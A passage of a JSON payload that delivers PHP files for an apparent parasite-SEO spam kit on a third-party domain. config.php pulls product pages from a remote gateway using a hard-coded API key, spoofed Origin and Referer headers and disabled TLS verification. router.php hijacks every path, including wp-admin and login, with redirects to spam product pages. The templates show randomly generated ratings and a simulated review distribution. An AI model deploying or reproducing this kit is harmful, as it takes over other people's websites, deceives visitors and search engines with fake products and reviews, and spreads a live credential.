$data['base_parasite_url']); ?\u003e\n        \u003c?php endforeach; ?\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"see-more-link\"\u003e\n        \u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\"\u003eSee all products from \u003c?php echo htmlspecialchars($data['random_category_name']); ?\u003e\u003c/a\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Scoped CSS for the related products to avoid conflicts --\u003e\n\u003cstyle\u003e\n.related-products-section {\n    margin-top: 40px;\n}\n.related-products-header {\n    font-size: 1.5rem;\n    font-weight: 500;\n    margin-bottom: 20px;\n}\n.related-products-grid {\n    display: grid;\n    grid-template-columns: repeat(6, 1fr);\n    gap: 16px;\n}\n@media (max-width: 1200px) {\n    .related-products-grid {\n        grid-template-columns: repeat(4, 1fr);\n    }\n}\n@media (max-width: 768px) {\n    .related-products-grid {\n        grid-template-columns: repeat(3, 1fr);\n    }\n}\n@media (max-width: 576px) {\n    .related-products-grid {\n        grid-template-columns: repeat(2, 1fr);\n    }\n}\n.related-product-card {\n    border: 1px solid #e5e7eb;\n    border-radius: 8px;\n    padding: 16px;\n    text-align: center;\n    transition: box-shadow 0.2s ease-in-out;\n}\n.related-product-card:hover {\n    box-shadow: 0 4px 12px rgba(0,0,0,0.08);\n}\n.related-product-card a {\n    text-decoration: none;\n    color: #111827;\n}\n.related-product-image img {\n    width: 100%;\n    height: 160px;\n    object-fit: contain;\n    margin-bottom: 16px;\n}\n.related-product-title {\n    font-size: 1rem;\n    line-height: 1.4;\n    font-weight: 400;\n    height: 2.8em; /* Clamp to 2 lines */\n    overflow: hidden;\n    margin-bottom: 10px;\n}\n.related-product-rating {\n    font-size: 0.9rem;\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n.related-product-rating .star {\n    color: #f59e0b;\n}\n.related-product-rating .count {\n    color: #6b7280;\n    margin-left: 8px;\n}\n.related-product-price {\n    font-size: 1.125rem;\n    font-weight: 600;\n    color: #ef4444;\n    margin-top: 12px;\n}\n.see-more-link {\n    text-align: right;\n    margin-top: 16px;\n}\n.see-more-link a {\n    color: #337ab7;\n    text-decoration: underline;\n}\n\u003c/style\u003e ","path":"includes/related_products.php"},{"content":"\u003c?php\nrequire_once __DIR__ . '/config.php';\n\n$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';\n$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/index.php';\n\n$base_path = dirname($script_name);\n$base_path = str_replace('\\\\', '/', $base_path); \n$base_path = ($base_path == '/') ? '' : $base_path; \n\nif (strpos($request_uri, $base_path) === 0) {\n    $request_path = substr($request_uri, strlen($base_path));\n} else {\n    $request_path = $request_uri;\n}\n\n$request_path = strtok($request_path, '?');\n$request_path = trim($request_path, '/');\n\n$segments = explode('/', $request_path);\n\nfunction redirect_to_random_product($base_url) {\n    try {\n        require_once __DIR__ . '/config.php';\n        \n        $apiData = getParasiteData();\n        \n        if ($apiData \u0026\u0026 isset($apiData['product']) \u0026\u0026 isset($apiData['product']['id'])) {\n            $random_product_id = $apiData['product']['id'];\n            $redirect_url = buildProductUrl($random_product_id);\n            header(\"Location: \" . $redirect_url, true, 301);\n            exit();\n        }\n    } catch (Exception $e) {\n        error_log(\"Random product redirect failed: \" . $e-\u003egetMessage());\n    }\n    \n    $fallback_url = buildProductUrl('600001');\n    header(\"Location: \" . $fallback_url, true, 301);\n    exit();\n}\n\n$product_id = parseProductId($request_uri);\n\nif ($product_id \u0026\u0026 is_numeric($product_id) \u0026\u0026 $product_id \u003e 0) {\n    try {\n        require_once __DIR__ . '/config.php';\n        $apiData = getParasiteData($product_id);\n        \n        if ($apiData \u0026\u0026 isset($apiData['product'])) {\n            $_GET['id'] = $product_id;\n            require 'product.php';\n            exit();\n        }\n    } catch (Exception $e) {\n        error_log(\"Product validation failed: \" . $e-\u003egetMessage());\n    }\n    \n    redirect_to_random_product($base_parasite_url);\n}\n\n$first_segment = isset($segments[0]) ? strtolower($segments[0]) : '';\n\n$redirect_patterns = array(\n    'wp-admin', 'wp-login', 'admin', 'login', 'wp-content', 'wp-includes',\n    'robots.txt', 'sitemap.xml', 'favicon.ico', 'apple-touch-icon',\n    'android-chrome', '.well-known', 'index.php', 'index.html',\n    'search', 'shop', 'products', 'cart', 'checkout', 'account'\n);\n\nif (in_array($first_segment, $redirect_patterns) || \n    strpos($first_segment, '.php') !== false || \n    strpos($first_segment, '.html') !== false ||\n    strpos($first_segment, '.') !== false) {\n    redirect_to_random_product($base_parasite_url);\n}\n\nif (empty($request_path) || $request_path == '' || $request_path == 'index.php') {\n    try {\n        require_once __DIR__ . '/config.php';\n        $apiData = getParasiteData();\n\n        if ($apiData \u0026\u0026 isset($apiData['product'])) {\n            $_GET['id'] = $apiData['product']['id'];\n            require 'product.php';\n            exit();\n        } else {\n            $fallback_url = buildProductUrl('600001');\n            header(\"Location: \" . $fallback_url, true, 301);\n            exit();\n        }\n    } catch (Exception $e) {\n        error_log(\"Failed to load first product for homepage: \" . $e-\u003egetMessage());\n        redirect_to_random_product($base_parasite_url);\n    }\n}\n\nredirect_to_random_product($base_parasite_url); ","path":"router.php"},{"content":"\u003c?php\n\ndate_default_timezone_set('UTC');\n\nif (!defined('USE_CURL')) {\n    define('USE_CURL', false); // true=使用curl, false=使用file_get_contents\n}\n\n$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';\n$protocol = \"https://\";\n$site_domain = $host;\n\n$document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '/var/www/html';\n$script_path = str_replace($document_root, '', __DIR__);\n$base_parasite_url = rtrim($protocol . $site_domain, '/');\n$GLOBALS['base_parasite_url'] = $base_parasite_url;\n\n\n$default_data = array(\n    'brand' =\u003e 'Generic Brand',\n    'rating' =\u003e array(\n        'score' =\u003e number_format(rand(40, 50) / 10, 1),\n        'count' =\u003e rand(15, 150)\n    ),\n    'currency' =\u003e 'USD',\n    'default_image' =\u003e 'https://cdn.suruga-ya.jp/database/images/no_photo.jpg'\n);\n\n\ndefine('API_BASE_URL', 'https://gateway.qrstabcd.com/api/parasiteData/getParasiteData');\ndefine('API_KEY', '881c355b2599f4d6e2918f89ad79388cf7fe87115fe135d0d06ecad2a47e39a5');\ndefine('API_DOMAIN', 'gateway.qrstabcd.com');\ndefine('ASITE_DOMAIN', 'https://berendisigorta.com.tr');\ndefine('ID_OFFSET', 94296);\ndefine('URL_TEMPLATE', 'products/{title}/{id}');\n\nfunction getParasiteData($productId = null) {\n    $url = API_BASE_URL;\n    \n    $needTitle = strpos(URL_TEMPLATE, '{title}') !== false;\n    \n    $params = array();\n    if ($productId) {\n        $params['product_id'] = $productId;\n    }\n    if ($needTitle) {\n        $params['title'] = 'true';\n    }\n    \n    if (!empty($params)) {\n        $url .= '?' . http_build_query($params);\n    }\n    \n    if (USE_CURL) {\n        $ch = curl_init();\n        curl_setopt($ch, CURLOPT_URL, $url);\n        curl_setopt($ch, CURLOPT_HTTPHEADER, array(\n            'X-API-Key: ' . API_KEY,\n            'Host: ' . API_DOMAIN,\n            'Origin: ' . ASITE_DOMAIN,\n            'Referer: ' . ASITE_DOMAIN . '/',\n            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n        ));\n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n        curl_setopt($ch, CURLOPT_TIMEOUT, 10);\n        \n        $response = curl_exec($ch);\n        curl_close($ch);\n    } else {\n        $headers = array(\n            'X-API-Key: ' . API_KEY,\n            'Host: ' . API_DOMAIN,\n            'Origin: ' . ASITE_DOMAIN,\n            'Referer: ' . ASITE_DOMAIN . '/',\n            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n        );\n        $context = stream_context_create(array(\n            'http' =\u003e array(\n                'timeout' =\u003e 10,\n                'header' =\u003e implode(\"\\r\\n\", $headers)\n            )\n        ));\n        $response = @file_get_contents($url, false, $context);\n    }\n    \n    if ($response === false) {\n        return null;\n    }\n    \n    $result = json_decode($response, true);\n    return isset($result['data']) ? $result['data'] : null;\n}\n\nfunction getSitemapData() {\n    $url = 'https://' . API_DOMAIN . '/api/parasiteData/getSitemapData';\n    \n    // ???????????????\n    $needTitle = strpos(URL_TEMPLATE, '{title}') !== false;\n    if ($needTitle) {\n        $url .= '?title=true';\n    }\n    \n    if (USE_CURL) {\n        $ch = curl_init();\n        curl_setopt($ch, CURLOPT_URL, $url);\n        curl_setopt($ch, CURLOPT_HTTPHEADER, array(\n            'X-API-Key: ' . API_KEY,\n            'Host: ' . API_DOMAIN,\n            'Origin: ' . ASITE_DOMAIN,\n            'Referer: ' . ASITE_DOMAIN . '/',\n            'Content-Type: application/json',\n            'Accept: application/json',\n            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n        ));\n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n        curl_setopt($ch, CURLOPT_TIMEOUT, 30);\n        \n        $response = curl_exec($ch);\n        curl_close($ch);\n    } else {\n        $headers = array(\n            'X-API-Key: ' . API_KEY,\n            'Host: ' . API_DOMAIN,\n            'Origin: ' . ASITE_DOMAIN,\n            'Referer: ' . ASITE_DOMAIN . '/',\n            'Content-Type: application/json',\n            'Accept: application/json',\n            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n        );\n        $context = stream_context_create(array(\n            'http' =\u003e array(\n                'timeout' =\u003e 30,\n                'header' =\u003e implode(\"\\r\\n\", $headers)\n            )\n        ));\n        $response = @file_get_contents($url, false, $context);\n    }\n    \n    if ($response === false) {\n        return null;\n    }\n    \n    $result = json_decode($response, true);\n    return isset($result['data']) ? $result['data'] : null;\n}\nfunction buildProductUrl($productId, $productTitle = null) {\n    $template = URL_TEMPLATE;\n    $baseUrl = $GLOBALS['base_parasite_url'];\n    \n    $displayId = (int)$productId + ID_OFFSET;\n    \n    if (strpos($template, '?') === 0) {\n        return $baseUrl . '/' . str_replace('{id}', $displayId, $template);\n    } else {\n        $url = $template;\n        \n        if (strpos($template, '{title}') !== false) {\n            if ($productTitle) {\n                $cleanTitle = cleanTitleForURL($productTitle);\n                $url = str_replace('{title}', $cleanTitle, $url);\n            } else {\n                $url = str_replace('{title}', 'shopdetail', $url);\n            }\n        }\n        \n        $url = str_replace('{id}', $displayId, $url);\n        return $baseUrl . '/' . $url . '/';\n    }\n}\n\nfunction cleanTitleForURL($title) {\n    if (empty($title)) {\n        return '';\n    }\n    \n    $title = strtolower($title);\n    $title = preg_replace('/[^a-z0-9\\s-]/', '', $title);\n    $title = preg_replace('/\\s+/', '-', $title);\n    $title = preg_replace('/-+/', '-', $title);\n    $title = trim($title, '-');\n    \n    if (empty($title)) {\n        $title = '';\n    }\n    \n    return $title;\n}\n\nfunction parseProductId($requestUri) {\n    $template = URL_TEMPLATE;\n    $displayId = null;\n    \n    if (strpos($template, '?') === 0) {\n        $query = parse_url($requestUri, PHP_URL_QUERY);\n        parse_str($query, $params);\n        $paramName = trim($template, '?={id}');\n        $displayId = isset($params[$paramName]) ? $params[$paramName] : null;\n    } else {\n        // 首先尝试路径解析\n        $path = parse_url($requestUri, PHP_URL_PATH);\n        $segments = explode('/', trim($path, '/'));\n        $templateSegments = explode('/', $template);\n        \n        // 处理包含 {title} 的模板\n        if (strpos($template, '{title}') !== false) {\n            // 查找 {id} 在模板中的位置\n            foreach ($templateSegments as $index =\u003e $segment) {\n                if ($segment === '{id}' \u0026\u0026 isset($segments[$index])) {\n                    $displayId = $segments[$index];\n                    break;\n                }\n            }\n        } else {\n            // 原有逻辑\n            foreach ($templateSegments as $index =\u003e $segment) {\n                if ($segment === '{id}' \u0026\u0026 isset($segments[$index])) {\n                    $displayId = $segments[$index];\n                    break;\n                }\n            }\n        }\n        \n        if ($displayId === null) {\n            $query = parse_url($requestUri, PHP_URL_QUERY);\n            if ($query \u0026\u0026 strpos($query, 'shopdetail/') === 0) {\n                $queryPath = trim($query, '/');\n                $querySegments = explode('/', $queryPath);\n                \n                $shopdetailIndex = array_search('shopdetail', $querySegments);\n                if ($shopdetailIndex !== false \u0026\u0026 isset($querySegments[$shopdetailIndex + 2])) {\n                    $displayId = end($querySegments);\n                }\n            }\n        }\n    }\n    \n    // 减去偏移量得到真实ID\n    if ($displayId !== null \u0026\u0026 is_numeric($displayId)) {\n        return $displayId - ID_OFFSET;\n    }\n    \n    return null;\n}\n\n\n","path":"config.php"},{"content":"\u003cdiv class=\"product_zoom\"\u003e\r\n    \u003c?php if (isset($data['images']) \u0026\u0026 !empty($data['images'])): ?\u003e\r\n        \u003cdiv class=\"easyzoom easyzoom--with-thumbnails d-flex justify-content-center has-image\"\u003e\r\n            \u003ca href=\"\u003c?php echo $data['images'][0]; ?\u003e\" class=\"show-lightbox main-pro-lightbox\" data-id=\"data-item-1\"\u003e\r\n                \u003cimg src=\"\u003c?php echo $data['images'][0]; ?\u003e\" class=\"img-fluid main-pro-img cursor_pointer\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\r\n            \u003c/a\u003e\r\n        \u003c/div\u003e\r\n        \r\n        \u003c?php if (count($data['images']) \u003e 1): ?\u003e\r\n        \u003cdiv class=\"d-flex justify-content-center\"\u003e\r\n            \u003cdiv style=\"width: 87%;\"\u003e\r\n                \u003cdiv class=\"swiper-container zoom_product_thumnail position-relative thumbnails\"\u003e\r\n                    \u003cdiv class=\"swiper-wrapper total-img\" data-img=\"\u003c?php echo count($data['images']); ?\u003e\"\u003e\r\n                        \u003c?php foreach ($data['images'] as $index =\u003e $image): ?\u003e\r\n                        \u003cdiv class=\"swiper-slide\"\u003e\r\n                            \u003ca href=\"\u003c?php echo $image; ?\u003e\" class=\"thumnail-link\" data-standard=\"\u003c?php echo $image; ?\u003e\"\u003e\r\n                                \u003cimg src=\"\u003c?php echo $image; ?\u003e\" class=\"img-fluid\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e Image \u003c?php echo $index + 1; ?\u003e\"\u003e\r\n                            \u003c/a\u003e\r\n                        \u003c/div\u003e\r\n                        \u003c?php endforeach; ?\u003e\r\n                    \u003c/div\u003e\r\n                    \u003cdiv class=\"swiper-button-prev thumnail-swiper-button-prev\" onclick=\"swiper_thumbnail_prev()\"\u003e\u003c/div\u003e\r\n                    \u003cdiv class=\"swiper-button-next thumnail-swiper-button-next\" onclick=\"swiper_thumbnail_next()\"\u003e\u003c/div\u003e\r\n                \u003c/div\u003e\r\n            \u003c/div\u003e\r\n        \u003c/div\u003e\r\n        \u003c?php endif; ?\u003e\r\n    \u003c?php else: ?\u003e\r\n        \u003cdiv class=\"easyzoom-no-image d-flex justify-content-center\"\u003e\r\n            \u003ca href=\"\u003c?php echo $data['default_image']; ?\u003e\" class=\"show-lightbox main-pro-lightbox\" data-id=\"data-item-1\"\u003e\r\n                \u003cimg src=\"\u003c?php echo $data['default_image']; ?\u003e\" class=\"img-fluid main-pro-img cursor_pointer\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\r\n            \u003c/a\u003e\r\n        \u003c/div\u003e\r\n    \u003c?php endif; ?\u003e\r\n\u003c/div\u003e\r\n\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // 初始化lightbox\r\n    lightbox.option({\r\n        'resizeDuration': 200,\r\n        'wrapAround': true,\r\n        'alwaysShowNavOnTouchDevices': true,\r\n        'maxWidth': 800,\r\n        'maxHeight': 600\r\n    });\r\n    \r\n    // 初始化缩略图轮播\r\n    var swiper = new Swiper('.zoom_product_thumnail', {\r\n        slidesPerView: 4,\r\n        spaceBetween: 5,\r\n        loop: false,\r\n        breakpoints: {\r\n            640: {\r\n                slidesPerView: 2,\r\n                spaceBetween: 5,\r\n            },\r\n            768: {\r\n                slidesPerView: 3,\r\n                spaceBetween: 5,\r\n            },\r\n            1024: {\r\n                slidesPerView: 4,\r\n                spaceBetween: 5,\r\n            },\r\n        },\r\n        navigation: {\r\n            nextEl: '.thumnail-swiper-button-next',\r\n            prevEl: '.thumnail-swiper-button-prev',\r\n        },\r\n    });\r\n\r\n    // 缩略图点击事件\r\n    document.querySelectorAll('.thumnail-link').forEach(function(link) {\r\n        link.addEventListener('click', function(e) {\r\n            e.preventDefault();\r\n            var newSrc = this.getAttribute('data-standard');\r\n            var mainImg = document.querySelector('.main-pro-img');\r\n            var mainLink = document.querySelector('.main-pro-lightbox');\r\n            \r\n            if (mainImg \u0026\u0026 mainLink) {\r\n                mainImg.src = newSrc;\r\n                mainLink.href = newSrc;\r\n            }\r\n        });\r\n    });\r\n});\r\n\r\nfunction swiper_thumbnail_prev() {\r\n    if (window.swiperThumbnail) {\r\n        window.swiperThumbnail.slidePrev();\r\n    }\r\n}\r\n\r\nfunction swiper_thumbnail_next() {\r\n    if (window.swiperThumbnail) {\r\n        window.swiperThumbnail.slideNext();\r\n    }\r\n}\r\n\u003c/script\u003e ","path":"includes/product_images_complete.php"},{"content":"\u003c!-- Product Reviews Section --\u003e\n\u003cdiv class=\"row mgnB10 border-top pt-4 mt-5\"\u003e\n    \u003cdiv class=\"col-md-12\"\u003e\n        \u003ch3 class=\"h3_header mt-3 mgnB12\"\u003eProduct Review\u003c/h3\u003e\n        \n        \u003c!-- Login Requirement --\u003e\n        \u003ca class=\"mt-3 mb-3 link_underline d-block\" style=\"margin-bottom: 15px !important;\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003e\n            You must be logged in to post a review\n        \u003c/a\u003e\n        \n        \u003c!-- Review Summary and Graph --\u003e\n        \u003cdiv id=\"naviplus-review-list-4\" style=\"\"\u003e\n            \u003cdiv class=\"navi-review-wrapper\"\u003e\n                \u003cdiv class=\"navi-review-header\"\u003e\n                    \u003cul class=\"navi-review-header-ul\"\u003e\n                        \u003cli class=\"navi-review-item\"\u003e\n                            \u003cdiv class=\"navi-review-item-detail\"\u003e\n                                \u003cdiv class=\"navi-review-item-image-title-rate\"\u003e\n                                    \u003cp class=\"navi-review-average-star\"\u003e\n                                        \u003cspan class=\"navi-review-rate\" data-rate=\"\u003c?php echo $data['rating']['score']; ?\u003e\"\u003e\n                                            \u003c?php\n                                            $rating = $data['rating']['score'];\n                                            for ($i = 1; $i \u003c= 5; $i++) {\n                                                if ($i \u003c= floor($rating)) {\n                                                    echo '\u003cimg alt=\"star\" src=\"https://rvw.snva.jp/images/widget/star-on.png\"\u003e\u0026nbsp;';\n                                                } else {\n                                                    echo '\u003cimg alt=\"star\" src=\"https://rvw.snva.jp/images/widget/star-off.png\"\u003e\u0026nbsp;';\n                                                }\n                                            }\n                                            ?\u003e\n                                        \u003c/span\u003e\n                                        \u0026nbsp;\u003c?php echo $data['rating']['score']; ?\u003e\n                                        \u003cspan\u003e( \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"navi-review-search-clear-button\"\u003e\u003c?php echo $data['rating']['count']; ?\u003e items\u003c/a\u003e )\u003c/span\u003e\n                                    \u003c/p\u003e\n                                \u003c/div\u003e\n                            \u003c/div\u003e\n                        \u003c/li\u003e\n                        \u003cli class=\"navi-review-graph\"\u003e\n                            \u003cdiv class=\"navi-review-graph-inner\"\u003e\n                                \u003cul class=\"navi-review-graph-ul\"\u003e\n                                    \u003cli\u003e\n                                        \u003ctable\u003e\n                                            \u003ctbody\u003e\n                                                \u003c?php \n                                                // 模拟评分分布\n                                                $rating_distribution = array(\n                                                    5 =\u003e 15,\n                                                    4 =\u003e 5,\n                                                    3 =\u003e 2,\n                                                    2 =\u003e 1,\n                                                    1 =\u003e 0\n                                                );\n                                                $total_reviews = array_sum($rating_distribution);\n\n                                                for ($star = 5; $star \u003e= 1; $star--): \n                                                    $count = $rating_distribution[$star];\n                                                    $percentage = ($total_reviews \u003e 0) ? ($count / $total_reviews) * 100 : 0;\n                                                ?\u003e\n                                                \u003ctr\u003e\n                                                    \u003cth\u003e\n                                                        \u003cspan class=\"navi-review-rate\" data-rate=\"\u003c?php echo $star; ?\u003e\"\u003e\n                                                            \u003c?php for ($s = 1; $s \u003c= 5; $s++): ?\u003e\n                                                                \u003cimg alt=\"star\" src=\"https://rvw.snva.jp/images/widget/star-\u003c?php echo ($s \u003c= $star) ? 'on' : 'off'; ?\u003e.png\"\u003e\n                                                            \u003c?php endfor; ?\u003e\n                                                        \u003c/span\u003e\n                                                    \u003c/th\u003e\n                                                    \u003ctd\u003e\n                                                        \u003cdiv class=\"navi-review-graph-part\"\u003e\n                                                            \u003cspan class=\"navi-review-bar\" style=\"width: \u003c?php echo $percentage; ?\u003e%\"\u003e\u003c/span\u003e\n                                                        \u003c/div\u003e\n                                                        \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"navi-review-number-link\"\u003e\u003c?php echo $count; ?\u003e items\u003c/a\u003e\n                                                    \u003c/td\u003e\n                                                \u003c/tr\u003e\n                                                \u003c?php endfor; ?\u003e\n                                            \u003c/tbody\u003e\n                                        \u003c/table\u003e\n                                    \u003c/li\u003e\n                                \u003c/ul\u003e\n                            \u003c/div\u003e\n                        \u003c/li\u003e\n                    \u003c/ul\u003e\n                \u003c/div\u003e\n                \n                \u003c!-- Sort and Search --\u003e\n                \u003cdiv class=\"navi-review-sort-search\"\u003e\n                    \u003ctable\u003e\n                        \u003ctbody\u003e\n                            \u003ctr\u003e\n                                \u003cth\u003eSort\u003c/th\u003e\n                                \u003ctd\u003e\n                                    \u003cdiv class=\"navi-review-sort\"\u003e\n                                        \u003cdiv class=\"navi-review-sort-button-group\" data-toggle=\"buttons\"\u003e\n                                            \u003cbutton type=\"button\" class=\"navi-review-sort-button navi-review-sort-button-active disabled\"\u003eNewest\u003c/button\u003e\n                                            \u003cbutton type=\"button\" class=\"navi-review-sort-button navi-review-link\"\u003eHighest rating\u003c/button\u003e\n                                            \u003cbutton type=\"button\" class=\"navi-review-sort-button navi-review-link\"\u003eUsefulness\u003c/button\u003e\n                                        \u003c/div\u003e\n                                    \u003c/div\u003e\n                                \u003c/td\u003e\n                            \u003c/tr\u003e\n                            \u003ctr\u003e\n                                \u003cth\u003ekeyword\u003c/th\u003e\n                                \u003ctd\u003e\n                                    \u003cdiv class=\"navi-review-search\"\u003e\n                                        \u003cform class=\"navi-review-search-form\"\u003e\n                                            \u003cinput type=\"text\" name=\"text\" class=\"navi-review-search-input\"\u003e\n                                            \u003cbutton type=\"submit\" class=\"navi-review-search-button\"\u003esearch\u003c/button\u003e\n                                            \u003cbutton type=\"submit\" class=\"navi-review-search-clear-button\"\u003eClear\u003c/button\u003e\n                                        \u003c/form\u003e\n                                    \u003c/div\u003e\n                                \u003c/td\u003e\n                            \u003c/tr\u003e\n                        \u003c/tbody\u003e\n                    \u003c/table\u003e\n                \u003c/div\u003e\n                \n                \u003c?php if (empty($reviews)): ?\u003e\n                \u003cp class=\"navi-review-no-result\"\u003eThere are currently no product reviews.\u003c/p\u003e\n                \u003c?php else: ?\u003e\n                \u003c!-- This is where review items would be looped and displayed if they existed --\u003e\n                \u003c?php endif; ?\u003e\n                \n            \u003c/div\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cstyle\u003e\n/* Styles from crawler_view.html for Review Section */\n.navi-review-wrapper {\n    font-family: \"ヒラギノ角ゴ Pro W3\", \"Hiragino Kaku Gothic Pro\", \"メイリオ\", Meiryo, Osaka, \"MS Pゴシック\", \"MS PGothic\", sans-serif;\n    padding: 0;\n    width: 100%;\n    max-width: 990px;\n    margin: 0 auto;\n    color: #333;\n}\n.navi-review-header {\n    margin-bottom: 10px;\n    border: 1px solid #ccc;\n    background: #f8f8f8;\n}\n.navi-review-header-ul {\n    display: table;\n    width: 100%;\n    margin: 0;\n    padding: 0;\n}\n.navi-review-header-ul \u003e li {\n    display: table-cell;\n    vertical-align: middle;\n    padding: 20px;\n}\n.navi-review-item {\n    width: 45%;\n}\n.navi-review-item-detail {\n    margin: 0;\n}\n.navi-review-item-image-title-rate {\n    font-size: 16px;\n    line-height: 1.5;\n}\n.navi-review-average-star {\n    font-size: 20px;\n}\n.navi-review-rate img {\n    vertical-align: middle;\n    width: 18px;\n    height: 18px;\n}\n.navi-review-graph {\n    border-left: 1px solid #ccc;\n}\n.navi-review-graph-ul {\n    list-style: none;\n    padding: 0;\n    margin: 0;\n}\n.navi-review-graph-ul table {\n    width: 100%;\n}\n.navi-review-graph-ul th {\n    padding-right: 15px;\n    text-align: right;\n    font-weight: normal;\n    vertical-align: middle;\n}\n.navi-review-graph-ul td {\n    display: flex;\n    align-items: center;\n}\n.navi-review-graph-part {\n    background-color: #f0f0f0;\n    height: 10px;\n    width: 60%;\n    flex-shrink: 0;\n}\n.navi-review-bar {\n    display: block;\n    height: 100%;\n    background-color: #f8c146;\n}\na.navi-review-number-link {\n    color: #004098;\n    text-decoration: underline;\n    font-size: 13px;\n    margin-left: 10px;\n    white-space: nowrap;\n}\n.navi-review-sort-search {\n    border: 1px solid #ccc;\n    background: #f8f8f8;\n    padding: 10px;\n}\n.navi-review-sort-search table {\n    width: 100%;\n}\n.navi-review-sort-search th {\n    font-weight: bold;\n    text-align: right;\n    padding-right: 10px;\n    width: 80px;\n}\n.navi-review-sort-button-group {\n    display: inline-block;\n}\n.navi-review-sort-button {\n    background: #fff;\n    border: 1px solid #ccc;\n    padding: 5px 15px;\n    margin: 0 2px;\n    cursor: pointer;\n    color: #337ab7;\n    border-radius: 3px;\n}\n.navi-review-sort-button.disabled {\n    background: #337ab7;\n    color: #fff;\n    border-color: #2e6da4;\n}\n.navi-review-search-input {\n    width: 250px;\n    padding: 5px;\n    border: 1px solid #ccc;\n    border-radius: 3px;\n}\n.navi-review-search-button, .navi-review-search-clear-button {\n    padding: 5px 15px;\n    margin-left: 5px;\n    border: 1px solid #ccc;\n    background: #fff;\n    color: #333;\n    border-radius: 3px;\n}\n.navi-review-search-button {\n    background: #337ab7;\n    color: #fff;\n    border-color: #2e6da4;\n}\n.navi-review-no-result {\n    margin-top: 20px;\n    padding: 20px;\n    text-align: center;\n    border: 1px solid #ddd;\n    background: #fff;\n}\n\u003c/style\u003e ","path":"includes/product_reviews.php"},{"content":"User-agent: *\nAllow: /\nSitemap: https://berendisigorta.com.tr/sitemap.xml","path":"robots.txt"}],"site":"35909"},"msg":"成功"}